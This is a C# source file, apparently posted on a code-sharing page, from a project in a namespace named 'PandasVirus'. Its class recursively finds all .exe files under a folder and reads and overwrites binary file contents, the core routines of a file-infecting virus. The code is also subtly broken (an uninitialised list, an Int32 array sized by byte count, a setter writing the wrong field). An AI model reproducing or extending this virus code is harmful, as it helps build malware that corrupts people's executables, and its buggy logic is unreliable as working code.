📄 binaryfilecontrol.cs
字号:
using System;
using System.IO;
using System.Collections;
namespace PandasVirus
{
/// <summary>
/// BinaryFileControl 二进制文件操作类
/// </summary>
public class BinaryFileControl
{
private string _FileName;//文件名
private string _FilePath;//文件路径
private string _FileType;//文件类型
private BinaryWriter ObjBw;//写文件对象
private BinaryReader ObjBr;//读文件对象
private FileStream FStream;//文件流
private Int32[] FBytes;//二进制代码存储数足
private ArrayList EFPArray;//EXE文件路径数组
private DirectoryInfo DirFile;//文件夹信息对象
public BinaryFileControl()
{
//
// TODO: 在此处添加构造函数逻辑
//
}
/// <summary>
/// 遍历文件夹获得文件夹下的所有exe文件的路径
/// </summary>
public void EXEFileTraversing()
{
this.DirFile=new DirectoryInfo(this._FilePath);//创建文件路径对象
DirectoryInfo[] childDir=this.DirFile.GetDirectories();//获得当前路径的子目录数组
FileInfo[] files=null;//当前目录的文件对象数组
try
{
files=this.DirFile.GetFiles();//获得当前目录的文件对象数组
//循环文件对象数组
foreach(FileInfo IFile in files)
{
//如果是exe文件加入集合列表
string[] FileCls=IFile.Name.Split('.');
if(FileCls[1]=="exe"||FileCls[1]=="EXE")
{
this.EFPArray.Add(IFile);
}
}
//递归调用判断是否有子目录
if(childDir!=null)
{
//循环子目录递归调用函数
foreach(DirectoryInfo DirItem in childDir)
{
this._FilePath=DirItem.FullName;
this.EXEFileTraversing();
}
}
}
catch(Exception exp)
{
//错误捕捉方法
}
}
/// <summary>
/// 写文件方法
/// </summary>
public void FileWrite()
{
this.FStream=new FileStream(this._FilePath,FileMode.Create);//创建文件流对象
this.ObjBw=new BinaryWriter(this.FStream);//创建二进制写对象
//循环写入文件的二进制代码
for(int i=0;i<this.FBytes.Length;i++)
{
this.ObjBw.Write(this.FBytes[i]);
}
this.ObjBw.Close();
}
/// <summary>
/// 读取文件的方法
/// </summary>
public void FileRead()
{
this.FStream=new FileStream(this._FilePath,FileMode.Open);//创建文件流对象
this.ObjBr=new BinaryReader(this.FStream);//创建二进制读取对象
this.FBytes=new Int32[this.FStream.Length];//获得文件的大小
for(int i=0;i<this.FBytes.Length;i++)
{
this.FBytes[i]=this.ObjBr.ReadInt32();//循环读取文件的二进制码
}
}
/// <summary>
/// 文件类型
/// </summary>
public string FileType
{
get
{
return this._FileType;
}
set
{
this._FilePath=value;
}
}
/// <summary>
/// 文件名称
/// </summary>
public string FileName
{
get
{
return this._FileName;
}
set
{
this._FileName=value;
}
}
/// <summary>
/// 文件路径
/// </summary>
public string FilePath
{
get
{
return this._FilePath;
}
set
{
this._FilePath=value;
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -